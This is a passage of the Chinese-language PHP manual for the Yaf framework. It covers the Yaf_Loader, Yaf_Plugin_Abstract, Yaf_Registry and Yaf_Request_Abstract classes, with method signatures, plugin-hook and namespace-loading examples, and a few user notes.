  • Yaf_Loader
  • The clearLocalNamespace purpose

Yaf_Loader::clearLocalNamespace

(Yaf >=1.0.0)

Yaf_Loader::clearLocalNamespace — The clearLocalNamespace purpose

说明

public Yaf_Loader::clearLocalNamespace(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • ? Yaf_Loader::clearLocalNamespace
  • Yaf_Loader::getInstance ?
  • PHP Manual
  • Yaf_Loader
  • The __construct purpose

Yaf_Loader::__construct

(Yaf >=1.0.0)

Yaf_Loader::__construct — The __construct purpose

说明

private Yaf_Loader::__construct()

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The getInstance purpose

  • ? Yaf_Loader::__construct
  • Yaf_Loader::getLibraryPath ?
  • PHP Manual
  • Yaf_Loader
  • The getInstance purpose

Yaf_Loader::getInstance

(Yaf >=1.0.0)

Yaf_Loader::getInstance — The getInstance purpose

说明

public static Yaf_Loader::getInstance(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


获取库路径

  • ? Yaf_Loader::getInstance
  • Yaf_Loader::getLocalNamespace ?
  • PHP Manual
  • Yaf_Loader
  • 获取库路径

Yaf_Loader::getLibraryPath

(Yaf >=2.1.4)

Yaf_Loader::getLibraryPath — 获取库路径

说明

public Yaf_Loader::getLibraryPath(bool $is_global = false): Yaf_Loader

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The getLocalNamespace purpose

  • ? Yaf_Loader::getLibraryPath
  • Yaf_Loader::getNamespacePath ?
  • PHP Manual
  • Yaf_Loader
  • The getLocalNamespace purpose

Yaf_Loader::getLocalNamespace

(Yaf >=1.0.0)

Yaf_Loader::getLocalNamespace — The getLocalNamespace purpose

说明

public Yaf_Loader::getLocalNamespace(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Retieve path of a registered namespace

  • ? Yaf_Loader::getLocalNamespace
  • Yaf_Loader::getLocalNamespace ?
  • PHP Manual
  • Yaf_Loader
  • Retieve path of a registered namespace

Yaf_Loader::getNamespacePath

(Yaf >=3.2.0)

Yaf_Loader::getNamespacePath — Retieve path of a registered namespace

说明

public Yaf_Loader::getNamespacePath(string $namespaces): string

retrieve path of a registered namespace

参数

namespace

a string of namespace.

返回值

string path, if the namespace is not registered, then null default library will be returned

示例

Example #1 Yaf_Loader::registerNamespace()example

<?php
$loader = Yaf_Loader::getInstance("/var/application/lib");
$loader->registerNamespace("\Vendor\PHP", "/var/lib/php");

$loader->getNamespacePath("\Vendor\PHP"); // '/var/lib/php'
$loader->getNamespacePath("\Vendor\JSP"); // '/var/application/lib'

?>

User Contributed Notes

There are no user contributed notes for this page.


Retrive all register namespaces info

  • ? Yaf_Loader::getNamespacePath
  • Yaf_Loader::import ?
  • PHP Manual
  • Yaf_Loader
  • Retrive all register namespaces info

Yaf_Loader::getLocalNamespace

(Yaf >=1.0.0)

Yaf_Loader::getLocalNamespace — Retrive all register namespaces info

说明

public Yaf_Loader::getNamespaces(): array

get registered namespaces info

参数

此函数没有参数。

返回值

array

User Contributed Notes

There are no user contributed notes for this page.


The import purpose

  • ? Yaf_Loader::getLocalNamespace
  • Yaf_Loader::isLocalName ?
  • PHP Manual
  • Yaf_Loader
  • The import purpose

Yaf_Loader::import

(Yaf >=1.0.0)

Yaf_Loader::import — The import purpose

说明

public static Yaf_Loader::import(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The isLocalName purpose

  • ? Yaf_Loader::import
  • Yaf_Loader::registerLocalNamespace ?
  • PHP Manual
  • Yaf_Loader
  • The isLocalName purpose

Yaf_Loader::isLocalName

(Yaf >=1.0.0)

Yaf_Loader::isLocalName — The isLocalName purpose

说明

public Yaf_Loader::isLocalName(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


注册本地类前缀

  • ? Yaf_Loader::isLocalName
  • Yaf_Loader::registerNamespace ?
  • PHP Manual
  • Yaf_Loader
  • 注册本地类前缀

Yaf_Loader::registerLocalNamespace

(Yaf >=1.0.0)

Yaf_Loader::registerLocalNamespace — 注册本地类前缀

说明

public Yaf_Loader::registerLocalNamespace(mixed $prefix): void

注册本地类前缀，Yaf_Loader 在两个库目录下搜索类，一个是通过 application.library.directory（在 application.ini 中）配置，称为本地库目录；另一个是通过 yaf.library（在 php.ini 中），成为全局库目录，因为它可以在同一个服务器中的许多应用程序共享。

当触发自动加载时，Yaf_Loader 将通过检查丢失类名的前缀来确定应该在哪个库目录中去搜索。 如果前缀名注册为 localnamespack，则在本地库目录中查找，否则在全局库目录中查找。

Note:

如果未配置 yaf.library，则假定全局库目录为本地库目录。在这种情况下，所有自动加载都将查找本地库目录。 但如果希望 Yaf 应用程序更加健壮，那么请始终将类注册为本地类。

参数

prefix

字符串或者是数组格式的类名前缀，所有拥有和这些前缀相同前缀的类将被加载到本地 library 路径。

返回值

bool

示例

Example #1 Yaf_Loader::registerLocalNamespace() 示例

<?php
$loader = Yaf_Loader::getInstance('/local/library/', '/global/library');
$loader->registerLocalNamespace("Baidu");
$loader->registerLocalNamespace(array("Sina", "Weibo"));

$loader->autoload("Baidu_Name"); // search in '/local/library/'
$loader->autoload("Sina"); // search '/local/library/'
$loader->autoload("Global_Name");// search in '/global/library/'
$loader->autoload("Foo_Bar"); // search in '/global/library/'

?>

User Contributed Notes

There are no user contributed notes for this page.


Register namespace with searching path

  • ? Yaf_Loader::registerLocalNamespace
  • Yaf_Loader::setLibraryPath ?
  • PHP Manual
  • Yaf_Loader
  • Register namespace with searching path

Yaf_Loader::registerNamespace

(Yaf >=3.2.0)

Yaf_Loader::registerNamespace — Register namespace with searching path

说明

public Yaf_Loader::registerNamespace(string|array $namespaces, string $path = ?): bool

Register a namespace with searching path, Yaf_Loader searchs classes under this namespace in path, the one is also could be configureded via application.library.directory.namespace(in application.ini);

Note:

Yaf still think underline as folder separator.

参数

namespace

a string of namespace, or a array of namespaces with paths.

path

a string of path, it is better to use abosolute path here for performance

返回值

bool

示例

Example #1 Yaf_Loader::registerNamespace()example

<?php
$loader = Yaf_Loader::getInstance();
$loader->registerNamespace("\Vendor\PHP", "/var/lib/php");
$loader->registerNamespace(array(
"\Vendor\ASP" => "/var/lib/asp",
"\Vendor\JSP" => "/usr/lib/vendor/",
));

$loader->autoload("\Vendor\PHP\Dummy"); //load '/var/lib/php/Dummy.php'
$loader->autoload("\Vendor\PHP\Foo_Bar"); //load '/var/lib/php/Foo/Bar.php'
$loader->autoload("\Vendor\JSP\Dummy"); //load '/usr/lib/vendor/Dummy.php'

?>

User Contributed Notes

There are no user contributed notes for this page.


改变 library 路径

  • ? Yaf_Loader::registerNamespace
  • Yaf_Plugin_Abstract ?
  • PHP Manual
  • Yaf_Loader
  • 改变 library 路径

Yaf_Loader::setLibraryPath

(Yaf >=2.1.4)

Yaf_Loader::setLibraryPath — 改变 library 路径

说明

public Yaf_Loader::setLibraryPath(string $directory, bool $is_global = false): Yaf_Loader

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Plugin_Abstract 类

(Yaf >=1.0.0)

简介

Plugins 允许轻松地定制和扩展框架。

插件（Plugin）是类。实际定义的类将会基于组件变化——需要实现这些接口，但该插件（Plugin）本身就是一个类。

插件（plugin）通过使用 Yaf_Dispatcher::registerPlugin() 加载到 Yaf 中，在框架注册后，插件根据接口实现的所有方法将会在恰当的时间被调用。

示例

Example #1 插件示例

<?php
/* bootstrap class should be defined under ./application/Bootstrap.php */
class Bootstrap extends Yaf_Bootstrap_Abstract {
public function _initPlugin(Yaf_Dispatcher $dispatcher) {
/* register a plugin */
$dispatcher->registerPlugin(new TestPlugin());
}
}

/* plugin class should be placed under ./application/plugins/ */
class TestPlugin extends Yaf_Plugin_Abstract {
public function routerStartup(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
/* 在路由之前执行,这个钩子里，你可以做url重写等功能 */
var_dump("routerStartup");
}
public function routerShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
/* 路由完成后，在这个钩子里，你可以做登陆检测等功能*/
var_dump("routerShutdown");
}
public function dispatchLoopStartup(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
var_dump("dispatchLoopStartup");
}
public function preDispatch(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
var_dump("preDispatch");
}
public function postDispatch(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
var_dump("postDispatch");
}
public function dispatchLoopShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
/* final hook
in this hook user can do logging or implement layout */
var_dump("dispatchLoopShutdown");
}
}

Class IndexController extends Yaf_Controller_Abstract {
public function indexAction() {
return FALSE; //prevent rendering
}
}

$config = array(
"application" => array(
"directory" => dirname(__FILE__) . "/application/",
),
);

$app = new Yaf_Application($config);
$app->bootstrap()->run();
?>

以上示例的输出类似于：

string(13) "routerStartup"
string(14) "routerShutdown"
string(19) "dispatchLoopStartup"
string(11) "preDispatch"
string(12) "postDispatch"
string(20) "dispatchLoopShutdown"

类摘要

class Yaf_Plugin_Abstract {
/* 方法 */
public dispatchLoopShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void
public dispatchLoopStartup(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void
public postDispatch(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void
public preDispatch(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void
public preResponse(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void
public routerShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void
public routerStartup(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void
}

Table of Contents

  • Yaf_Plugin_Abstract::dispatchLoopShutdown — The dispatchLoopShutdown purpose
  • Yaf_Plugin_Abstract::dispatchLoopStartup — 在调度循环之前的 Hook
  • Yaf_Plugin_Abstract::postDispatch — The postDispatch purpose
  • Yaf_Plugin_Abstract::preDispatch — The preDispatch purpose
  • Yaf_Plugin_Abstract::preResponse — The preResponse purpose
  • Yaf_Plugin_Abstract::routerShutdown — The routerShutdown purpose
  • Yaf_Plugin_Abstract::routerStartup — RouterStartup hook

User Contributed Notes

gianjason#gmail.com 09-Jan-2013 07:59
All the methods which the plugin implemented according to this interface, will be called at the proper time automatically.


The dispatchLoopShutdown purpose

  • ? Yaf_Plugin_Abstract
  • Yaf_Plugin_Abstract::dispatchLoopStartup ?
  • PHP Manual
  • Yaf_Plugin_Abstract
  • The dispatchLoopShutdown purpose

Yaf_Plugin_Abstract::dispatchLoopShutdown

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::dispatchLoopShutdown — The dispatchLoopShutdown purpose

说明

public Yaf_Plugin_Abstract::dispatchLoopShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void

这个方式是 Yaf 插件钩子系统中最后的一个钩子，如果一个用户插件实现了这个方法，它将在分发循环结束之后触发。

Warning

本函数还未编写文档，仅有参数列表。

参数

request

response

返回值

参见

  • Yaf_Plugin_Abstract::routerStartup() - RouterStartup hook
  • Yaf_Plugin_Abstract::routerShutdown() - The routerShutdown purpose
  • Yaf_Plugin_Abstract::dispatchLoopStartup() - 在调度循环之前的 Hook
  • Yaf_Plugin_Abstract::preDispatch() - The preDispatch purpose
  • Yaf_Plugin_Abstract::postDispatch() - The postDispatch purpose

User Contributed Notes

There are no user contributed notes for this page.


在调度循环之前的 Hook

  • ? Yaf_Plugin_Abstract::dispatchLoopShutdown
  • Yaf_Plugin_Abstract::postDispatch ?
  • PHP Manual
  • Yaf_Plugin_Abstract
  • 在调度循环之前的 Hook

Yaf_Plugin_Abstract::dispatchLoopStartup

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::dispatchLoopStartup — 在调度循环之前的 Hook

说明

public Yaf_Plugin_Abstract::dispatchLoopStartup(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void

这个钩子将在分发循环开始之前触发。

参数

request

response

返回值

User Contributed Notes

There are no user contributed notes for this page.


The postDispatch purpose

  • ? Yaf_Plugin_Abstract::dispatchLoopStartup
  • Yaf_Plugin_Abstract::preDispatch ?
  • PHP Manual
  • Yaf_Plugin_Abstract
  • The postDispatch purpose

Yaf_Plugin_Abstract::postDispatch

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::postDispatch — The postDispatch purpose

说明

public Yaf_Plugin_Abstract::postDispatch(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void

Warning

本函数还未编写文档，仅有参数列表。

参数

request

response

返回值

User Contributed Notes

There are no user contributed notes for this page.


The preDispatch purpose

  • ? Yaf_Plugin_Abstract::postDispatch
  • Yaf_Plugin_Abstract::preResponse ?
  • PHP Manual
  • Yaf_Plugin_Abstract
  • The preDispatch purpose

Yaf_Plugin_Abstract::preDispatch

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::preDispatch — The preDispatch purpose

说明

public Yaf_Plugin_Abstract::preDispatch(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void

Warning

本函数还未编写文档，仅有参数列表。

参数

request

response

返回值

User Contributed Notes

There are no user contributed notes for this page.


The preResponse purpose

  • ? Yaf_Plugin_Abstract::preDispatch
  • Yaf_Plugin_Abstract::routerShutdown ?
  • PHP Manual
  • Yaf_Plugin_Abstract
  • The preResponse purpose

Yaf_Plugin_Abstract::preResponse

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::preResponse — The preResponse purpose

说明

public Yaf_Plugin_Abstract::preResponse(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void

这个钩子在响应(Yaf_Response)前被触发

Warning

本函数还未编写文档，仅有参数列表。

参数

request

response

返回值

User Contributed Notes

There are no user contributed notes for this page.


The routerShutdown purpose

  • ? Yaf_Plugin_Abstract::preResponse
  • Yaf_Plugin_Abstract::routerStartup ?
  • PHP Manual
  • Yaf_Plugin_Abstract
  • The routerShutdown purpose

Yaf_Plugin_Abstract::routerShutdown

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::routerShutdown — The routerShutdown purpose

说明

public Yaf_Plugin_Abstract::routerShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void

这个钩子在路由结束之后触发，通常被用于登陆检查。

参数

request

response

返回值

示例

Example #1 Yaf_Plugin_Abstract::routerShutdown() 示例

<?php
class UserInitPlugin extends Yaf_Plugin_Abstract {

public function routerShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
$controller = $request->getControllerName();

/**
* Use access controller is unecessary for APIs
*/
if (in_array(strtolower($controller), array(
'api',
))) {
return TRUE;
}

if (Yaf_Session::getInstance()->has("login")) {
return TRUE;
}

/* Use access check failed, need to login */
$response->setRedirect("http://yourdomain.com/login/");
return FALSE;
}
}
?>

参见

  • Yaf_Plugin_Abstract::routerStartup() - RouterStartup hook
  • Yaf_Plugin_Abstract::dispatchLoopStartup() - 在调度循环之前的 Hook
  • Yaf_Plugin_Abstract::preDispatch() - The preDispatch purpose
  • Yaf_Plugin_Abstract::postDispatch() - The postDispatch purpose
  • Yaf_Plugin_Abstract::dispatchLoopShutdown() - The dispatchLoopShutdown purpose

User Contributed Notes

There are no user contributed notes for this page.


RouterStartup hook

  • ? Yaf_Plugin_Abstract::routerShutdown
  • Yaf_Registry ?
  • PHP Manual
  • Yaf_Plugin_Abstract
  • RouterStartup hook

Yaf_Plugin_Abstract::routerStartup

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::routerStartup — RouterStartup hook

说明

public Yaf_Plugin_Abstract::routerStartup(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void

这个是 Yaf 插件的勾子系统最早被触发的的一个方法，如果一个用户插件实现了这个方法，它将在路由之前触发。

Warning

本函数还未编写文档，仅有参数列表。

参数

request

response

返回值

参见

  • Yaf_Plugin_Abstract::routerShutdown() - The routerShutdown purpose
  • Yaf_Plugin_Abstract::dispatchLoopStartup() - 在调度循环之前的 Hook
  • Yaf_Plugin_Abstract::preDispatch() - The preDispatch purpose
  • Yaf_Plugin_Abstract::postDispatch() - The postDispatch purpose
  • Yaf_Plugin_Abstract::dispatchLoopShutdown() - The dispatchLoopShutdown purpose

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Registry 类

(Yaf >=1.0.0)

简介

Yaf_Registry 的所有方法都声明为静态，使其可以随地访问。这提供了根据需要从代码中获取/设置任何自定义数据的能力。 对象注册表（或称对象仓库）是一个用于在整个应用空间（application space）内存储对象和值的容器. 通过把对象存储在其中,我们可以在整个项目的任何地方使用同一个对象。这种机制相当于一种全局存储。另外，由于该类是一个数组对象，你可以使用数组形式来访问其中的类方法。

类摘要

class Yaf_Registry {
/* 属性 */
static $_instance;
protected $_entries;
/* 方法 */
private __construct()
public static del(string $name): void
public static get(string $name): mixed
public static has(string $name): bool
public static set(string $name, string $value): bool
}

属性

_instance

_entries

Table of Contents

  • Yaf_Registry::__construct — Yaf_Registry 实现单例
  • Yaf_Registry::del — 从注册表中移除条目
  • Yaf_Registry::get — 从注册表中检索条目
  • Yaf_Registry::has — 检测条目是否存在
  • Yaf_Registry::set — 向注册表添加条目

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Registry 实现单例

  • ? Yaf_Registry
  • Yaf_Registry::del ?
  • PHP Manual
  • Yaf_Registry
  • Yaf_Registry 实现单例

Yaf_Registry::__construct

(Yaf >=1.0.0)

Yaf_Registry::__construct — Yaf_Registry 实现单例

说明

private Yaf_Registry::__construct()

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


从注册表中移除条目

  • ? Yaf_Registry::__construct
  • Yaf_Registry::get ?
  • PHP Manual
  • Yaf_Registry
  • 从注册表中移除条目

Yaf_Registry::del

(Yaf >=1.0.0)

Yaf_Registry::del — 从注册表中移除条目

说明

public static Yaf_Registry::del(string $name): void

从注册表中移除条目

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


从注册表中检索条目

  • ? Yaf_Registry::del
  • Yaf_Registry::has ?
  • PHP Manual
  • Yaf_Registry
  • 从注册表中检索条目

Yaf_Registry::get

(Yaf >=1.0.0)

Yaf_Registry::get — 从注册表中检索条目

说明

public static Yaf_Registry::get(string $name): mixed

从注册表中检索条目

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


检测条目是否存在

  • ? Yaf_Registry::get
  • Yaf_Registry::set ?
  • PHP Manual
  • Yaf_Registry
  • 检测条目是否存在

Yaf_Registry::has

(Yaf >=1.0.0)

Yaf_Registry::has — 检测条目是否存在

说明

public static Yaf_Registry::has(string $name): bool

检测条目是否存在

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


向注册表添加条目

  • ? Yaf_Registry::has
  • Yaf_Request_Abstract ?
  • PHP Manual
  • Yaf_Registry
  • 向注册表添加条目

Yaf_Registry::set

(Yaf >=1.0.0)

Yaf_Registry::set — 向注册表添加条目

说明

public static Yaf_Registry::set(string $name, string $value): bool

向注册表添加条目

参数

name

value

返回值

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Request_Abstract 类

(Yaf >=1.0.0)

简介

类摘要

class Yaf_Request_Abstract {
/* Constants */
const string SCHEME_HTTP = http;
const string SCHEME_HTTPS = https;
/* 属性 */
public $module;
public $controller;
public $action;
public $method;
protected $params;
protected $language;
protected $_exception;
protected $_base_uri;
protected $uri;
protected $dispatched;
protected $routed;
/* 方法 */
public clearParams(): bool
public getActionName(): void
public getBaseUri(): void
public getControllerName(): void
public getEnv(string $name, string $default = ?): void
public getException(): void
public getLanguage(): void
public getMethod(): string
public getModuleName(): void
public getParam(string $name, string $default = ?): mixed
public getParams(): array
public getRequestUri(): void
public getServer(string $name, string $default = ?): void
public isCli(): bool
public isDispatched(): bool
public isGet(): bool
public isHead(): bool
public isOptions(): bool
public isPost(): bool
public isPut(): bool
public isRouted(): bool
public isXmlHttpRequest(): bool
public setActionName(string $action, bool $format_name = true): void
public setBaseUri(string $uir): bool
public setControllerName(string $controller, bool $format_name = true): void
public setDispatched(): void
public setModuleName(string $module, bool $format_name = true): void
public setParam(string $name, string $value = ?): bool
public setRequestUri(string $uir): void
public setRouted(string $flag = ?): void
}

属性

module

controller

action

method

params

language

_exception

_base_uri

uri

dispatched

routed

预定义常量

Yaf_Request_Abstract::SCHEME_HTTP

Yaf_Request_Abstract::SCHEME_HTTPS

Table of Contents

  • Yaf_Request_Abstract::clearParams — Remove all params
  • Yaf_Request_Abstract::getActionName — The getActionName purpose
  • Yaf_Request_Abstract::getBaseUri — The getBaseUri purpose
  • Yaf_Request_Abstract::getControllerName — The getControllerName purpose
  • Yaf_Request_Abstract::getEnv — 检索 ENV 变量
  • Yaf_Request_Abstract::getException — The getException purpose
  • Yaf_Request_Abstract::getLanguage — 检索客户端的首选语言
  • Yaf_Request_Abstract::getMethod — 检索请求方法
  • Yaf_Request_Abstract::getModuleName — The getModuleName purpose
  • Yaf_Request_Abstract::getParam — 检索调用的参数
  • Yaf_Request_Abstract::getParams — 获取所有调用的参数
  • Yaf_Request_Abstract::getRequestUri — The getRequestUri purpose
  • Yaf_Request_Abstract::getServer — 检索 SERVER 变量
  • Yaf_Request_Abstract::isCli — 判断请求是否是 CLI 请求
  • Yaf_Request_Abstract::isDispatched — 判断请求是否已发送
  • Yaf_Request_Abstract::isGet — 判断请求是否是 GET 请求
  • Yaf_Request_Abstract::isHead — 判断请求是否是 HEAD 请求
  • Yaf_Request_Abstract::isOptions — 判断请求是否是 OPTIONS 请求
  • Yaf_Request_Abstract::isPost — 判断请求是否是 POST 请求
  • Yaf_Request_Abstract::isPut — 判断请求是否是 PUT 请求
  • Yaf_Request_Abstract::isRouted — 判断请求是否已路由
  • Yaf_Request_Abstract::isXmlHttpRequest — 判断请求是否是 AJAX 请求
  • Yaf_Request_Abstract::setActionName — 设置 action 名
  • Yaf_Request_Abstract::setBaseUri — 设置基础 URI
  • Yaf_Request_Abstract::setControllerName — 设置控制器名
  • Yaf_Request_Abstract::setDispatched — The setDispatched purpose
  • Yaf_Request_Abstract::setModuleName — 设置模块名
  • Yaf_Request_Abstract::setParam — 设置调用参数到请求
  • Yaf_Request_Abstract::setRequestUri — The setRequestUri purpose
  • Yaf_Request_Abstract::setRouted — The setRouted purpose

User Contributed Notes

There are no user contributed notes for this page.


Remove all params

  • ? Yaf_Request_Abstract
  • Yaf_Request_Abstract::getActionName ?
  • PHP Manual
  • Yaf_Request_Abstract
  • Remove all params

Yaf_Request_Abstract::clearParams

(No version information available, might only be in Git)

Yaf_Request_Abstract::clearParams — Remove all params

说明

public Yaf_Request_Abstract::clearParams(): bool

Remove all params set by router, or Yaf_Request_Abstract::setParam()

参数

此函数没有参数。

返回值

bool

参见

  • Yaf_Request_Abstract::isHead() - 判断请求是否是 HEAD 请求
  • Yaf_Request_Abstract::isGet() - 判断请求是否是 GET 请求
  • Yaf_Request_Abstract::isPost() - 判断请求是否是 POST 请求
  • Yaf_Request_Abstract::isPut() - 判断请求是否是 PUT 请求
  • Yaf_Request_Abstract::isOptions() - 判断请求是否是 OPTIONS 请求
  • Yaf_Request_Abstract::isXmlHTTPRequest() - 判断请求是否是 AJAX 请求

User Contributed Notes

There are no user contributed notes for this page.


The getActionName purpose

  • ? Yaf_Request_Abstract::clearParams
  • Yaf_Request_Abstract::getBaseUri ?
  • PHP Manual
  • Yaf_Request_Abstract
  • The getActionName purpose

Yaf_Request_Abstract::getActionName

(Yaf >=1.0.0)

Yaf_Request_Abstract::getActionName — The getActionName purpose

说明

public Yaf_Request_Abstract::getActionName(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The getBaseUri purpose

  • ? Yaf_Request_Abstract::getActionName
  • Yaf_Request_Abstract::getControllerName ?
  • PHP Manual
  • Yaf_Request_Abstract
  • The getBaseUri purpose

Yaf_Request_Abstract::getBaseUri

(Yaf >=1.0.0)

Yaf_Request_Abstract::getBaseUri — The getBaseUri purpose

说明

public Yaf_Request_Abstract::getBaseUri(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The getControllerName purpose

  • ? Yaf_Request_Abstract::getBaseUri
  • Yaf_Request_Abstract::getEnv ?
  • PHP Manual
  • Yaf_Request_Abstract
  • The getControllerName purpose

Yaf_Request_Abstract::getControllerName

(Yaf >=1.0.0)

Yaf_Request_Abstract::getControllerName — The getControllerName purpose

说明

public Yaf_Request_Abstract::getControllerName(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


检索 ENV 变量

  • ? Yaf_Request_Abstract::getControllerName
  • Yaf_Request_Abstract::getException ?
  • PHP Manual
  • Yaf_Request_Abstract
  • 检索 ENV 变量

Yaf_Request_Abstract::getEnv

(Yaf >=1.0.0)

Yaf_Request_Abstract::getEnv — 检索 ENV 变量

说明

public Yaf_Request_Abstract::getEnv(string $name, string $default = ?): void

检索 ENV 变量

参数

name

变量名

default

如果这个参数被提供了，当参数找不到的时候它将被返回

返回值

返回字符串

参见

  • Yaf_Request_Abstract::getServer() - 检索 SERVER 变量
  • Yaf_Request_Abstract::getParam() - 检索调用的参数

User Contributed Notes

There are no user contributed notes for this page.


The getException purpose

  • ? Yaf_Request_Abstract::getEnv
  • Yaf_Request_Abstract::getLanguage ?
  • PHP Manual
  • Yaf_Request_Abstract
  • The getException purpose

Yaf_Request_Abstract::getException

(Yaf >=1.0.0)

Yaf_Request_Abstract::getException — The getException purpose

说明

public Yaf_Request_Abstract::getException(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


检索客户端的首选语言

  • ? Yaf_Request_Abstract::getException
  • Yaf_Request_Abstract::getMethod ?
  • PHP Manual
  • Yaf_Request_Abstract
  • 检索客户端的首选语言

Yaf_Request_Abstract::getLanguage

(Yaf >=1.0.0)

Yaf_Request_Abstract::getLanguage — 检索客户端的首选语言

说明

public Yaf_Request_Abstract::getLanguage(): void

参数

此函数没有参数。

返回值

返回字符串

User Contributed Notes

There are no user contributed notes for this page.


检索请求方法

  • ? Yaf_Request_Abstract::getLanguage
  • Yaf_Request_Abstract::getModuleName ?
  • PHP Manual
  • Yaf_Request_Abstract
  • 检索请求方法

Yaf_Request_Abstract::getMethod

(Yaf >=1.0.0)

Yaf_Request_Abstract::getMethod — 检索请求方法

说明

public Yaf_Request_Abstract::getMethod(): string

参数

此函数没有参数。

返回值

返回字符串，像"POST"、"GET"等。

参见

  • Yaf_Request_Abstract::isHead() - 判断请求是否是 HEAD 请求
  • Yaf_Request_Abstract::isCli() - 判断请求是否是 CLI 请求
  • Yaf_Request_Abstract::isPost() - 判断请求是否是 POST 请求
  • Yaf_Request_Abstract::isPut() - 判断请求是否是 PUT 请求
  • Yaf_Request_Abstract::isOptions() - 判断请求是否是 OPTIONS 请求
  • Yaf_Request_Abstract::isXmlHTTPRequest() - 判断请求是否是 AJAX 请求

User Contributed Notes

There are no user contributed notes for this page.


The getModuleName purpose

  • ? Yaf_Request_Abstract::getMethod
  • Yaf_Request_Abstract::getParam ?
  • PHP Manual
  • Yaf_Request_Abstract
  • The getModuleName purpose

Yaf_Request_Abstract::getModuleName

(Yaf >=1.0.0)

Yaf_Request_Abstract::getModuleName — The getModuleName purpose

说明

public Yaf_Request_Abstract::getModuleName(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


检索调用的参数

  • ? Yaf_Request_Abstract::getModuleName
  • Yaf_Request_Abstract::getParams ?
  • PHP Manual
  • Yaf_Request_Abstract
  • 检索调用的参数

Yaf_Request_Abstract::getParam

(Yaf >=1.0.0)

Yaf_Request_Abstract::getParam — 检索调用的参数

说明

public Yaf_Request_Abstract::getParam(string $name, string $default = ?): mixed

参数

name

default

返回值

参见

  • Yaf_Request_Abstract::setParam() - 设置调用参数到请求

User Contributed Notes

yaqi dot wang at fengjr dot com 22-May-2018 05:51
<?php
$id = $this->getRequest()->getParam("id",'');
echo '<pre>';
var_dump($id); //1
?>


获取所有调用的参数

  • ? Yaf_Request_Abstract::getParam
  • Yaf_Request_Abstract::getRequestUri ?
  • PHP Manual
  • Yaf_Request_Abstract
  • 获取所有调用的参数

Yaf_Request_Abstract::getParams

(Yaf >=1.0.0)

Yaf_Request_Abstract::getParams — 获取所有调用的参数

说明

public Yaf_Request_Abstract::getParams(): array

参数

此函数没有参数。

返回值

参见

  • Yaf_Request_Abstract::setParam() - 设置调用参数到请求

User Contributed Notes

There are no user contributed notes for this page.


The getRequestUri purpose

  • ? Yaf_Request_Abstract::getParams
  • Yaf_Request_Abstract::getServer ?
  • PHP Manual
  • Yaf_Request_Abstract
  • The getRequestUri purpose

Yaf_Request_Abstract::getRequestUri

(Yaf >=1.0.0)

Yaf_Request_Abstract::getRequestUri — The getRequestUri purpose

说明

public Yaf_Request_Abstract::getRequestUri(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


检索 SERVER 变量

  • ? Yaf_Request_Abstract::getRequestUri
  • Yaf_Request_Abstract::isCli ?
  • PHP Manual
  • Yaf_Request_Abstract
